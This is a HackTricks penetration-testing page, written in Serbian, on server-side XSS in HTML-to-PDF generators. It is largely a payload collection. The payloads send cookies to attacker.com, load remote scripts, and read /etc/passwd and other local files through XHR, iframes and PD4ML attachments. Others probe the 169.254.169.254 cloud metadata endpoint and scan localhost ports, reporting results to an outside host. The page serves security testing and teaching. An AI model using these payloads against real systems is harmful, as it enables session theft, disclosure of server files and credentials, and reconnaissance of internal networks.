hacktricks/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

174 lines
8.2 KiB
Markdown

# Server Side XSS (Dynamic PDF)
{{#include ../../banners/hacktricks-training.md}}
## Server Side XSS (Dynamic PDF)
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
Molimo vas, primetite da `<script></script>` tagovi ne rade uvek, tako da će vam biti potrebna drugačija metoda za izvršavanje JS (na primer, iskorišćavanje `<img` ).\
Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da vidite/preuzmete kreirani pdf**, tako da ćete moći da vidite sve što **pišete putem JS** (koristeći `document.write()` na primer). Ali, ako **ne možete da vidite** kreirani PDF, verovatno ćete morati da **izvučete informacije praveći web zahteve ka vama** (Blind).
### Popular PDF generation
- **wkhtmltopdf** je poznat po svojoj sposobnosti da konvertuje HTML i CSS u PDF dokumente, koristeći WebKit rendering engine. Ovaj alat je dostupan kao open-source komandna linijska alatka, što ga čini dostupnim za širok spektar aplikacija.
- **TCPDF** nudi robusno rešenje unutar PHP ekosistema za generisanje PDF-a. Sposoban je da obrađuje slike, grafiku i enkripciju, pokazujući svoju svestranost za kreiranje složenih dokumenata.
- Za one koji rade u Node.js okruženju, **PDFKit** predstavlja izvodljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i štampanih formata.
- Java programeri bi mogli preferirati **iText**, biblioteku koja ne samo da olakšava kreiranje PDF-a, već takođe podržava napredne funkcije poput digitalnih potpisa i popunjavanja obrazaca. Njegov sveobuhvatan skup funkcija čini ga pogodnim za generisanje sigurnih i interaktivnih dokumenata.
- **FPDF** je još jedna PHP biblioteka, koja se odlikuje svojom jednostavnošću i lakoćom korišćenja. Dizajnirana je za programere koji traže jednostavan pristup generisanju PDF-a, bez potrebe za opsežnim funkcijama.
## Payloads
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```
### SVG
Bilo koji od prethodnih ili sledećih payload-a može se koristiti unutar ovog SVG payload-a. Jedan iframe koji pristupa Burpcollab poddomeni i drugi koji pristupa metadata endpoint-u su dati kao primeri.
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
```
Možete pronaći mnogo **drugih SVG payload-a** u [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Otkrivanje putanje
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### Učitajte eksterni skript
Najbolji način da iskoristite ovu ranjivost je da zloupotrebite ranjivost kako biste naterali bot da učita skript koji lokalno kontrolišete. Tada ćete moći da promenite payload lokalno i naterate bot da ga učita sa istim kodom svaki put.
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### Čitaj lokalnu datoteku / SSRF
> [!WARNING]
> Promenite `file:///etc/passwd` u `http://169.254.169.254/latest/user-data` na primer da **pokušate da pristupite eksternoj veb stranici (SSRF)**.
>
> Ako je SSRF dozvoljen, ali **ne možete da dođete** do zanimljive domene ili IP adrese, [proverite ovu stranicu za potencijalne zaobilaženja](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
```
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
```
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Kašnjenje bota
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
```
### Port Scan
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Ova ranjivost se može vrlo lako pretvoriti u SSRF (jer možete naterati skriptu da učita spoljne resurse). Tako da samo pokušajte da je iskoristite (pročitajte neke metapodatke?).
### Attachments: PD4ML
Postoje neki HTML 2 PDF motori koji omogućavaju da **specifikujete priloge za PDF**, kao što je **PD4ML**. Možete zloupotrebiti ovu funkciju da **priložite bilo koju lokalnu datoteku** PDF-u.\
Da bih otvorio prilog, otvorio sam datoteku sa **Firefox-om i dvaput kliknuo na simbol spajalice** da **sačuvam prilog** kao novu datoteku.\
Zahvatanje **PDF odgovora** sa burp-om takođe bi trebalo da **prikaže prilog u čistom tekstu** unutar PDF-a.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>
```
## Reference
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
{{#include ../../banners/hacktricks-training.md}}